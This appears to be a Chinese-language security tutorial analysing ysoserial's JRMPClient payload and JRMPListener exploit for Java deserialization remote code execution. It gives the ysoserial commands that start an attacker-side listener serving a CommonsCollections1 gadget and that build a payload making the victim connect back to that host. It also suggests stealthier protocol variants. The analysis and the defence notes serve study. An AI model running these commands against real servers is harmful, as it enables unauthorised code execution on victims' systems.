ysoserial JRMP相关模块分析(二)- payloads/JRMPClient & exploit/JRMPListener
字数 2014 2025-08-27 12:33:22

JRMP相关模块分析与利用教学文档

一、JRMPClient与JRMPListener概述

1.1 基本概念

  • JRMPClient:属于payloads模块,生成发送给目标机器的payload
  • JRMPListener:属于exploit模块,在攻击者服务器上使用
  • 依赖关系:JRMPClient的利用离不开JRMPListener,但JRMPListener可以独立使用

1.2 利用流程概述

  1. 攻击者在VPS上启动JRMPListener,并指定反序列化payload
  2. 向漏洞服务器发送JRMPClient生成的payload
  3. 漏洞服务器反序列化JRMPClient payload
  4. 反序列化过程中与JRMPListener建立通信
  5. JRMPListener将自定义payload返回给漏洞服务器
  6. 漏洞服务器反序列化JRMPListener返回的payload
  7. 执行RCE

二、JRMPClient深入分析

2.1 核心调用流程

getObject()
   创建LiveRef(host, port, objID)
     封装为UnicastRef
       封装为RemoteObjectInvocationHandler
         通过Proxy.newProxyInstance生成proxy

2.2 关键类分析

  1. RemoteObjectInvocationHandler

    • 作为proxy的invocationHandler成员变量
    • 反序列化时自动调用父类RemoteObject的readObject
  2. RemoteObject.readObject

    if (ref == null) {
        ref = new UnicastRef();
    } else {
        ref.readExternal(in);
    }
    
  3. UnicastRef.readExternal

    • 最终调用DGCImpl_Stub的dirty方法
    • 类似于RMI反序列化利用中的RegistryImpl_Stub

2.3 通信机制

  • 使用DGC(Distributed Garbage Collection)功能而非Registry功能
  • 通过UnicastRef.newCall发送通信信息
  • 通过invoke处理JRMPListener的反馈

三、JRMPListener深入分析

3.1 核心流程

main()
   创建payloadObject
     初始化JRMPListener
       run()
         accept客户端连接
           处理JRMP协议
             doMessage()
               doCall()
                 发送payload

3.2 关键实现细节

  1. 协议处理

    • 识别JRMP协议(标志75/76)
    • 处理TransportConstants.Call(80)
  2. payload发送

    out.writeByte(TransportConstants.ExceptionalReturn); // 2
    ObjectOutputStream oos = new MarshalOutputStream(out);
    oos.writeObject(new BadAttributeValueExpException(payload));
    
  3. payload构造

    • 使用BadAttributeValueExpException包装
    • val成员设置为CommonsCollections等gadget

四、完整攻击流程分析

4.1 攻击步骤详解

  1. 启动JRMPListener

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 'calc.exe'
    
  2. 生成JRMPClient payload

    java -jar ysoserial.jar JRMPClient 'vpsIP:PORT' > vulrServer
    
  3. 漏洞服务器反序列化流程

    • 反序列化JRMPClient payload
    • 连接JRMPListener
    • 接收并反序列化JRMPListener返回的payload
    • 触发RCE

4.2 协议交互细节

  1. 客户端→服务端

    • 发送75/76标志
    • 发送80(Call)请求
  2. 服务端→客户端

    • 返回2(ExceptionalReturn)
    • 包含BadAttributeValueExpException异常
  3. 客户端处理

    • 在DGCImpl_Stub.dirty中接收响应
    • 通过UnicastRef.invoke处理
    • 在StreamRemoteCall.executeCall中反序列化异常

五、技术要点总结

5.1 关键差异

特性 RMI利用 JRMP利用
利用功能 Registry DGC
控制端 Client Listener(Server)
主要类 RegistryImpl_Stub DGCImpl_Stub
协议标志 80/81 75/76/80/81/2

5.2 协议标志含义

常量 描述
75 TransportConstants.ProtocolAck 协议确认
76 TransportConstants.ProtocolOp 协议操作
80 TransportConstants.Call 调用请求
81 TransportConstants.Return 正常返回
2 TransportConstants.ExceptionalReturn 异常返回

5.3 防御建议

  1. 限制反序列化操作
  2. 过滤RemoteObjectInvocationHandler等危险类
  3. 监控可疑的JRMP/DGC通信
  4. 及时更新Java安全补丁

六、扩展思考

  1. 其他Impl_Stub类:除DGCImpl_Stub和RegistryImpl_Stub外,可探索其他RMI组件的利用可能性
  2. 双向利用:根据实际情况灵活选择控制Client或Server端
  3. 协议变异:研究修改协议标志实现更隐蔽的攻击
  4. 回显技术:结合异常处理机制实现命令执行结果回显
JRMP相关模块分析与利用教学文档 一、JRMPClient与JRMPListener概述 1.1 基本概念 JRMPClient :属于payloads模块,生成发送给目标机器的payload JRMPListener :属于exploit模块,在攻击者服务器上使用 依赖关系 :JRMPClient的利用离不开JRMPListener,但JRMPListener可以独立使用 1.2 利用流程概述 攻击者在VPS上启动JRMPListener,并指定反序列化payload 向漏洞服务器发送JRMPClient生成的payload 漏洞服务器反序列化JRMPClient payload 反序列化过程中与JRMPListener建立通信 JRMPListener将自定义payload返回给漏洞服务器 漏洞服务器反序列化JRMPListener返回的payload 执行RCE 二、JRMPClient深入分析 2.1 核心调用流程 2.2 关键类分析 RemoteObjectInvocationHandler : 作为proxy的invocationHandler成员变量 反序列化时自动调用父类RemoteObject的readObject RemoteObject.readObject : UnicastRef.readExternal : 最终调用DGCImpl_ Stub的dirty方法 类似于RMI反序列化利用中的RegistryImpl_ Stub 2.3 通信机制 使用DGC(Distributed Garbage Collection)功能而非Registry功能 通过UnicastRef.newCall发送通信信息 通过invoke处理JRMPListener的反馈 三、JRMPListener深入分析 3.1 核心流程 3.2 关键实现细节 协议处理 : 识别JRMP协议(标志75/76) 处理TransportConstants.Call(80) payload发送 : payload构造 : 使用BadAttributeValueExpException包装 val成员设置为CommonsCollections等gadget 四、完整攻击流程分析 4.1 攻击步骤详解 启动JRMPListener : 生成JRMPClient payload : 漏洞服务器反序列化流程 : 反序列化JRMPClient payload 连接JRMPListener 接收并反序列化JRMPListener返回的payload 触发RCE 4.2 协议交互细节 客户端→服务端 : 发送75/76标志 发送80(Call)请求 服务端→客户端 : 返回2(ExceptionalReturn) 包含BadAttributeValueExpException异常 客户端处理 : 在DGCImpl_ Stub.dirty中接收响应 通过UnicastRef.invoke处理 在StreamRemoteCall.executeCall中反序列化异常 五、技术要点总结 5.1 关键差异 | 特性 | RMI利用 | JRMP利用 | |------|--------|---------| | 利用功能 | Registry | DGC | | 控制端 | Client | Listener(Server) | | 主要类 | RegistryImpl_ Stub | DGCImpl_ Stub | | 协议标志 | 80/81 | 75/76/80/81/2 | 5.2 协议标志含义 | 值 | 常量 | 描述 | |----|------|------| | 75 | TransportConstants.ProtocolAck | 协议确认 | | 76 | TransportConstants.ProtocolOp | 协议操作 | | 80 | TransportConstants.Call | 调用请求 | | 81 | TransportConstants.Return | 正常返回 | | 2 | TransportConstants.ExceptionalReturn | 异常返回 | 5.3 防御建议 限制反序列化操作 过滤RemoteObjectInvocationHandler等危险类 监控可疑的JRMP/DGC通信 及时更新Java安全补丁 六、扩展思考 其他Impl_ Stub类 :除DGCImpl_ Stub和RegistryImpl_ Stub外,可探索其他RMI组件的利用可能性 双向利用 :根据实际情况灵活选择控制Client或Server端 协议变异 :研究修改协议标志实现更隐蔽的攻击 回显技术 :结合异常处理机制实现命令执行结果回显